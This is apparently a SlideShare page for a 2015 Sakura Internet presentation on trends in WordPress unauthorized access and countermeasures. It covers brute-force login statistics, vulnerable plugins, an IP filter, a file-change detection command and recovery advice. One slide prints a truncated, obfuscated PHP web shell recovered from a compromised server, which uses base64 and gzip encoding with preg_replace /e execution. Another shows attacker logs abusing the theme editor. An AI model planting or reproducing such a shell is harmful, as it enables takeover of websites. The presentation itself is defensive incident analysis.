WordPress 不正アクセス事例の傾向と対策（さくらのビアバッシュ in DEP.@神戸元町）
•
2 likes•4,068 views
2015年3月19日に「さくらのビアバッシュ in DEP.@神戸元町」で、カスタマーサポート部の森下 稔が、「WordPress 不正アクセス事例の傾向と対策」と題し、セッションを行った際の資料です。 ■イベント詳細 https://sakura.doorkeeper.jp/events/21659
Recommended
More Related Content
What's hot
What's hot (20)
More from さくらインターネット株式会社
More from さくらインターネット株式会社 (20)
Recently uploaded
Recently uploaded (9)
WordPress 不正アクセス事例の傾向と対策（さくらのビアバッシュ in DEP.@神戸元町）
- 1. (C)Copyright 1996-2015 SAKURA Internet Inc. WordPress 不正アクセス事例の傾向と対策 さくらインターネット カスタマーサポート部 森 下 稔
- 2. 自己紹介 さくらインターネット カスタマーサポート部所属 森下 稔 と申します。 2000年入社で、専用サーバの構築やサポートなどを 長らくやってましたが、ここ最近は共用サーバの不正 利用に関する調査と対応をやってます。 趣味は自転車で、社内の自転車サークルの代表だった りもします。 # さくらインターネットには、公認の社内サークル制度があるのです。 # http://knowledge.sakura.ad.jp/etc/1297/
- 3. カスタマーサポート部とは その名の通り、サポセンです。 主に、電話・電子メールの窓口で、既存ユーザや新規 利用の検討者からの、サービス仕様や料金や利用方法 など、お問い合わせやご相談への対応をする部門です。 twitter サポートなども開始してます。 @sakura_ope # 中の人は可愛いおねえさんだよ！！！ # 電話がつながりにくい時やちょっとした問い合わせ # やご要望など、お気軽に声をかけてください。
- 5. 不正利用とサポセン どれぐらい不正利用されてるか ここ一年間でサーバ約2000台の不正利用の調査や 対応をしており、うちWordPressの不正アクセス に起因した事例は、250件ぐらいでした。 # 残りはメールアドレスのパスワードを破られたことによる不正なメール送信 # がほとんどで、FTP, SSH パスワードを悪用されたケースもたまにあります。 「割合として WordPress の被害は少なめ？」と 思われるかもしれませんが、これは2014年3月に 国外IPアドレスフィルタを導入して、大幅に被害 が減った結果と思われます。(後述)
- 7. 不正アクセスにより、どのように悪用されるのか なんだよこれ……。 (‘A`) <?php $auth_pass = "b5b55ece3c56"."97e8893189b7ef30f127"; $color = "#df5"; $default_charset = 'Windows-1251'; extract(array("default_action" => 'FilesMan', 'default_use_ajax' => true)); $BB = "¥x65¥x76¥x61"."¥x6C¥x28¥x67¥x7A¥x69"."¥x6E¥x66¥x6C¥x61¥x74¥x65¥x28"."¥x62¥x61¥x73¥x65¥x36¥x34"."¥x5F¥x64¥x65¥x63¥x6F"."¥x 64¥x65¥x28'7XZZZ1re9s2z/DZZZn9VcwmjfZq+PYTtu7s2MnaZZZQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xR VnNIlui4XZZZO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXZZZbHCtPQCbYHzjgKWYtZQWDZZZdFo3XZZZvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8 /GKNe84N/jqxRl0PEktN5vaZZZLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXZZZoWDZZZ0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXZZZ YP/9tyx24ndKKi6QSBH3Q8f2CWj84PDZZZwEqyYPUDZZZuWHZrmq5Yysm45z49jTyPXZZZHncgdOQICcumz47kjNyrGaZZZSNr4NqdP6d+5ISdYDZZZpGGJ7bc /ruGNr96fS4A607PTg+gsaZZZaZZZ9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+ PQMmCJTN2UATKGzc3z87mAvF4ZnEaZZZaZZZ4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOaZZZy JS2dgaZZZ8aZZZ+2mh1OuzA87Nrypk7LbLfN9sYaZZZYoY/UGXZZZb0AlDZZZ8p3I9v0rIKpwBd1zTZNDZZZtOKicPUNGlm4brIMGOJxk+lmTaZZZNhB6mh8YM MN0R+4n! 中略 72zOq73MVJlq1lUgHw1pbrMeL46k/+UG9aZZZx73J8pjWZeaZZZs7fZnUxMHsSEHFrnvMqDZZZb7qSIxDZZZMSzK8R+fyNZilaZZZ+GQXZZZUycwPuWKNPwLYs P6NXZZZL5j6jgShibdJ6bXZZZ39PykdTHYDZZZfiIfV3hM42zZOO72pMZsWaZZZq5sMWtii2O5bZT+GDZZZNb6nwtlVumZPABid774/P9jrbu7sneHg2oA/+i/ 0mjqKZ28A4WEbiaZZZoKmG+VCRJLMTDZZZHh6FMQWOYHkJJ555Jkw2kSLlSGPJ2VlFixs/KW9nZkEWpRI5rOhIdpXZZZpAGZFW6MOwXZZZjbVoNFnrTioTzyir uwUKJhh3pMV4NA8DZZZx4wl0Cyt6mG19lrPuV5DZZZhqFIbuxnlGpDZZZz3EmxVoi1OsCGtaZZZRhAwxJiGzpjfsbzYInAnjZNHTNyijGWilQkElVKpLzXZZZm ttNOttEUrNXZZZlrUUPt3IYaZZZ2mtI/52W24tbbsctf6QUerITh/tLvQsBHGol75kaZZZU/LwwYP4ZDZZZjp0FcRY6XZZZhl3hvUOaZZZKT8rGB4XZZZV7E+n xx2YoqcHx0eQG1p9ZwTMSllb7thFV5WiicmdET3qyuIYbU4Agjc9lmCpzzk5MCOz70Hc58T0t3hQDZZZOXZZZ2hQeV7fCeoLNq9ulb+iR9aZZZwo80ZtZXZZZK 2r56dUYJbQgDZZZn2wbjvy2c5cgh8gAi9LbaZZZFz7lC13SwzDZZZxAYT72vwA='¥x29¥x29¥x29¥x3B"; $AA = str_replace("ZZZ", "", $BB); $CC = "/.*/e"; preg_replace($CC,$AA,"."); ?>
- 11. WordPress に対する不正アクセスの傾向 直近一年の WordPress への不正アクセス：およそ250件 不正ログイン 約210件 プラグインやテーマの脆弱性 約40件 さくらインターネットで発見される WordPress に対する 不正アクセスのうち、8割 がたは WordPress 管理画面への 不正ログインが原因となっている。 # クライアントPCのウイルス感染などによる WordPress のファイル改竄は、 # その数に含めていません。
- 12. WordPress への不正なログイン ログを調べると、だいたいこんな感じです。 wp-login.php からログインして、wp-admin/theme-editor.php を使ってサーバ上に不正プログラムを設置しているように見える。 /wp-login.php ATTACKER.HOST - - [DATE] "POST /wp-login.php HTTP/1.1" 302 - "-" "USER AGENT" - /wp-admin/index.php ATTACKER.HOST - - [DATE] "GET /wp-admin/ HTTP/1.1" 200 149454 "-" "USER AGENT" - /wp-admin/theme-editor.php ATTACKER.HOST - - [DATE] "GET /wp-admin/theme-editor.php HTTP/1.1" 200 120407 "-" "USER AGENT" - /wp-admin/theme-editor.php ATTACKER.HOST - - [DATE] "GET /wp-admin/theme- editor.php?file=functions.php&theme=toranj-child HTTP/1.1" 200 135935 "-" "USER AGENT" - /wp-admin/theme-editor.php ATTACKER.HOST - - [DATE] "POST /wp-admin/theme-editor.php HTTP/1.1" 302 - "-" "USER AGENT" - /theme-editor.php ATTACKER.HOST - - [DATE] "GET /theme- editor.php?file=functions.php&theme=THM&scrollto=0&updated=true HTTP/1.1" 200 15800 "-" "USER AGENT" - /wp-content/themes/THM/functions.php ATTACKER.HOST - - [DATE] "POST /wp-content/themes/THM/functions.php HTTP/1.1" 200 43 "-" "USER AGENT" - /wp-content/themes/THM/phpini.php ATTACKER.HOST - - [DATE] "GET /wp-content/themes/THM/phpini.php HTTP/1.1" 200 120 "-" "USER AGENT" -
- 14. WordPress のパスワードは狙われている WordPress には、不正なログインを試みた不審な アクセスが日々多数あります。 wp-login.php へのアクセス(ログインの試行)と、 wp-admin/index.php へのアクセス(実際にログ インされたもの)がどんな割合か気になりました。 実際に不正アクセス被害を受けたあるアカウント について、直前一週間の状況を調べてみました。
- 15. WordPress のパスワードは狙われている 不正アクセス被害アカウントのアクセス数比較 (wp-login.php, wp-admin/index.php) -rw-r--r-- 1 root cpanel 11888193 Jan 31 00:00 /LOGDIR/access_log.20150130.gz wp-login.php: 146 wp-admin/index.php 0 --rw-r--r-- 1 root cpanel 12650221 Feb 1 00:00 /LOGDIR/access_log.20150131.gz wp-login.php: 0 wp-admin/index.php 0 -rw-r--r-- 1 root cpanel 12055832 Feb 2 00:00 /LOGDIR/access_log.20150201.gz wp-login.php: 0 wp-admin/index.php 0 -rw-r--r-- 1 root cpanel 12036449 Feb 3 00:00 /LOGDIR/access_log.20150202.gz wp-login.php: 97 wp-admin/index.php 0 -rw-r--r-- 1 root cpanel 11828245 Feb 4 00:00 /LOGDIR/access_log.20150203.gz wp-login.php: 0 wp-admin/index.php 0 -rw-r--r-- 1 root cpanel 12295251 Feb 5 00:00 /LOGDIR/access_log.20150204.gz wp-login.php: 33 wp-admin/index.php 2 -rw-r--r-- 1 root cpanel 11274482 Feb 6 00:00 /LOGDIR/access_log.20150205.gz wp-login.php: 1306 wp-admin/index.php 2
- 16. WordPress のパスワードは狙われている 正規のユーザではない第三者からのログイン試行 と推測されるアクセスが日に数百～数千みられま す。 WordPress を運用されている方は、一度アクセス ログを確認してみてください。 あなたの WordPress のパスワード、十分に安全 な文字列を設定してますか？
- 18. 国外IPアドレスフィルタについて さくらインターネットでは、2014年3月に 国外IPアドレスフィルタ 機能 を実装しました。 http://www.sakura.ad.jp/news/sakurainfo/newsentry.php?id=870 http://support.sakura.ad.jp/manual/rs/others/ipfilter.html これは、wp-login.php や wp-admin/ 配下など に対して機能し、既存ユーザについても、標準で フィルタ：有効としていました。 # FTP, SSH 接続などに対しても機能します。
- 21. もし、国外IPアドレスフィルタがなかったら…… WordPressへの不正アクセス：1000件以上になってたかも 不正ログイン 約1000件 プラグインやテーマの脆弱性 約40件 もしも、国外IPアドレスフィルタを実装していなかったら、 さくらインターネットで発見される WordPress に対する 不正アクセスのうち、95%以上は管理画面への不正ログイン が原因となっていた……かもしれない。
- 23. プラグインやテーマの脆弱性 被害事例 プラグインやテーマの脆弱性を悪用されるケースもちょく ちょくある。 WP-SlimStat-Ex (アクセス解析プラグイン？) → 15件ぐらい Slider Revolution (スライドショープラグイン？) → 5件ぐらい phpthumb.php, timthumb.php, thumb.php → 5件ぐらい CryptoPHP http://news.mynavi.jp/news/2014/11/25/190/ → 10件ぐらい Themify [themify-ajax.php] (テーマ？) → 10件ぐらい
- 30. 不正アクセスの予防と発見 ～ファイルの更新から～ 登録するなら、たとえばこんな感じのコマンド。 一週間以内に作成・更新された .php ファイルを 探して、メール送信するコマンドです。 こんな感じのコマンドを週一回ぐらいで実行すれ ば、心当たりの無いファイルの設置や更新を発見 できるかもしれません。 find /home/ACCT/www –type f –mtime -7d –name ‘*.php’ | mail –s ‘modified file report’ addr@yourdomain
- 32. もしも、不正アクセスされたら、どうすればいいか Exploit Scanner プラグインなどでコアファイル の改竄チェックもできるのですが、多い場合は、 不正なファイルが千単位の数で設置され、ユーザ がそのすべてを発見して削除することは困難だと 考えます。 https://wordpress.org/plugins/exploit-scanner/ サーバ公開領域上のデータをすべて削除した上 で、WordPress の再インストールを行うことが好 ましいです。 そのためには、データのエクスポートをたまにしておく必要がありますね。